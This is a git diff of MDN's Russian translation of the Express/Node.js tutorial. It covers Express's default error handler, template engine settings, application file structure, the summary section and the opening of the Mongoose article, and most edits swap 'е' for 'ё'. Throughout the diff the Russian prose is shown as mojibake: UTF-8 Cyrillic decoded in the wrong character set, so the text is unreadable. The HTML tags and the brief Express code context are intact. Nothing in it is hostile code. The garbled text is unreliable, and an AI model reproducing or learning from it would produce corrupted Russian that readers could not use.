ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Π΅ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ ошибок, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° встроСнным ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ошибок;</span> <span title="">ошибка Π±ΡƒΠ΄Π΅Ρ‚ записана ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ с трассировкой стСка.</span></span></p>
+ <span title="">Express поставляСтся со встроСнным ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ заботится ΠΎΠ±ΠΎ всСх ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ.</span> <span title="">Π­Ρ‚Π° промСТуточная функция ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ добавляСтся Π² ΠΊΠΎΠ½Π΅Ρ† стСка Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния.</span> <span title="">Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² next () ΠΈ Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Ρ‘ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ ошибок, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° встроСнным ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ошибок;</span> <span title="">ошибка Π±ΡƒΠ΄Π΅Ρ‚ записана ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ с трассировкой стСка.</span></span></p>
<div class="note">
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Врассировка стСка Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ срСду.</span> <span title="">Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² производствСнном Ρ€Π΅ΠΆΠΈΠΌΠ΅, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ срСды NODE_ENV Π² «производство».</span></span></p>
@@ -443,7 +443,7 @@ MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ шаблонов (Π² Express Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Β«ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ°ΠΌΠΈ просмотра») ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ структуру Π²Ρ‹Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² шаблонС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ для Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ создании страницы.</span> <span title="">Π¨Π°Π±Π»ΠΎΠ½Ρ‹ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для создания HTML, Π½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</span> <span title="">Π’ Express Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ряда ΡˆΠ°Π±Π»ΠΎΠ½Π½Ρ‹Ρ… Π΄Π²ΠΈΠΆΠΊΠΎΠ², ΠΈ здСсь Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ сравнСниС Π±ΠΎΠ»Π΅Π΅ популярных Π΄Π²ΠΈΠΆΠΊΠΎΠ²: Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅ ΡˆΠ°Π±Π»ΠΎΠ½ΠΈΠ·Π°Ρ‚ΠΎΡ€ΠΎΠ² JavaScript: Jade, Mustache, Dust ΠΈ More.</span><br>
<br>
- <span title="">Π’ своСм ΠΊΠΎΠ΄Π΅ настроСк прилоТСния Π²Ρ‹ Π·Π°Π΄Π°Π΅Ρ‚Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ шаблонов для использования ΠΈ мСсто, Π³Π΄Π΅ Express Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΊΠ°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ настройки Β«viewsΒ» ΠΈ Β«engineΒ», ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅ (Π²Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°ΠΊΠ΅Ρ‚, содСрТащий Π²Π°ΡˆΡƒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ шаблонов).</span> <span title="">!</span><span title="">)</span></span></p>
+ <span title="">Π’ своём ΠΊΠΎΠ΄Π΅ настроСк прилоТСния Π²Ρ‹ Π·Π°Π΄Π°Ρ‘Ρ‚Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ шаблонов для использования ΠΈ мСсто, Π³Π΄Π΅ Express Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΊΠ°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ настройки Β«viewsΒ» ΠΈ Β«engineΒ», ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅ (Π²Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°ΠΊΠ΅Ρ‚, содСрТащий Π²Π°ΡˆΡƒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ шаблонов).</span> <span title="">!</span><span title="">)</span></span></p>
<pre class="brush: js notranslate">var express = require('express');
var app = express();
@@ -465,18 +465,18 @@ app.set('view engine', 'some_template_engine_name');
<h3 id="Ѐайловая_структура"><span class="tlid-translation translation" lang="ru"><span title="">Ѐайловая структура</span></span></h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Express Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ структуры ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅.</span> <span title="">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, прСдставлСния, статичСскиС Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ другая Π»ΠΎΠ³ΠΈΠΊΠ° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ прилоТСния ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² любом количСствС Ρ„Π°ΠΉΠ»ΠΎΠ² с любой структурой ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ².</span> <span title="">Π₯отя Π²ΠΏΠΎΠ»Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ всС прилоТСния Express Π² ΠΎΠ΄Π½ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ смысл Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° основС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ записями, Π±Π»ΠΎΠ³ΠΈ, доски обсуТдСний) ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΎΠΉ области Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, модСль, прСдставлСниС ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€, Ссли</span> <span title="">Π²Ρ‹ случайно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅</span></span> <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC architecture</a>).</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Express Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ структуры ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅.</span> <span title="">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, прСдставлСния, статичСскиС Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ другая Π»ΠΎΠ³ΠΈΠΊΠ° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ прилоТСния ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² любом количСствС Ρ„Π°ΠΉΠ»ΠΎΠ² с любой структурой ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ².</span> <span title="">Π₯отя Π²ΠΏΠΎΠ»Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ всС прилоТСния Express Π² ΠΎΠ΄Π½ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ смысл Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° основС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ записями, Π±Π»ΠΎΠ³ΠΈ, доски обсуТдСний) ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΎΠΉ области Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, модСль, прСдставлСниС ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€, Ссли</span> <span title="">Π²Ρ‹ случайно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅</span></span> <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC architecture</a>).</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΉ Ρ‚Π΅ΠΌΠ΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Express Application Generator, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½Ρ‹ΠΉ каркас прилоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ для создания Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΉ Ρ‚Π΅ΠΌΠ΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Express Application Generator, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½Ρ‹ΠΉ каркас прилоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ для создания Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</span></span></p>
<ul>
</ul>
<h2 id="РСзюмС">РСзюмС</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π²Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π² своСм ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ Express / Node!</span> <span title="">Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ основныС прСимущСства Express ΠΈ Node, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ основныС части прилоТСния Express (ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ПО, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ошибок ΠΈ ΠΊΠΎΠ΄ шаблона).</span> <span title="">Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ с Express, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся нСпонятным Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠΌ, Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ собираСтС эти части вмСстС, ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, Π² Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ стСпСни зависит ΠΎΡ‚ вас!</span><br>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π²Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π² своём ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ Express / Node!</span> <span title="">Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ основныС прСимущСства Express ΠΈ Node, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ основныС части прилоТСния Express (ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ ПО, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ошибок ΠΈ ΠΊΠΎΠ΄ шаблона).</span> <span title="">Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ с Express, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся нСпонятным Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠΌ, Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ собираСтС эти части вмСстС, ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, Π² Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ стСпСни зависит ΠΎΡ‚ вас!</span><br>
<br>
- <span title="">ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Express - это ΠΎΡ‡Π΅Π½ΡŒ лСгкая ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, поэтому большая Ρ‡Π°ΡΡ‚ΡŒ Π΅Π΅ прСимущСств ΠΈ возмоТностСй обСспСчиваСтся сторонними Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ ΠΈ функциями.</span> <span title="">ΠœΡ‹ рассмотрим это Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ….</span> <span title="">Π’ нашСй ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим настройку срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Node, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ΄ Express Π² дСйствии.</span></span></p>
+ <span title="">ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Express - это ΠΎΡ‡Π΅Π½ΡŒ лёгкая ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, поэтому большая Ρ‡Π°ΡΡ‚ΡŒ Π΅Ρ‘ прСимущСств ΠΈ возмоТностСй обСспСчиваСтся сторонними Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ ΠΈ функциями.</span> <span title="">ΠœΡ‹ рассмотрим это Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ….</span> <span title="">Π’ нашСй ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим настройку срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Node, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ΄ Express Π² дСйствии.</span></span></p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/server-side/express_nodejs/mongoose/index.html b/files/ru/learn/server-side/express_nodejs/mongoose/index.html
index a761872f99..7bbcc23eb4 100644
--- a/files/ru/learn/server-side/express_nodejs/mongoose/index.html
+++ b/files/ru/learn/server-side/express_nodejs/mongoose/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div>
-<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ даСтся ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π²Β Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…,Β ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΠ°Β ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡΒ Π²Β ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡ…Β Node/Express. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="http://mongoosejs.com/">Mongoose</a> для доступа ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π²Π΅Π±-сайта  <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. ΠœΡ‹ объясним, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΡΠ²Π»ΡΡŽΡ‚ΡΡ схСмы ΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΡƒΠΊΠ°ΠΆΠ΅ΠΌ основныС Ρ‚ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ, ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΡƒ Π±Π°Π·ΠΎΠ²ΠΎΠΉΒ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ. Π’Β ΡΡ‚Π°Ρ‚ΡŒΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ показаны  основныС мСтоды доступа ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
+<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ даётся ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π²Β Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…,Β ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΠ°Β ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡΒ Π²Β ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡ…Β Node/Express. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="http://mongoosejs.com/">Mongoose</a> для доступа ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π²Π΅Π±-сайта  <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. ΠœΡ‹ объясним, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΡΠ²Π»ΡΡŽΡ‚ΡΡ схСмы ΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², 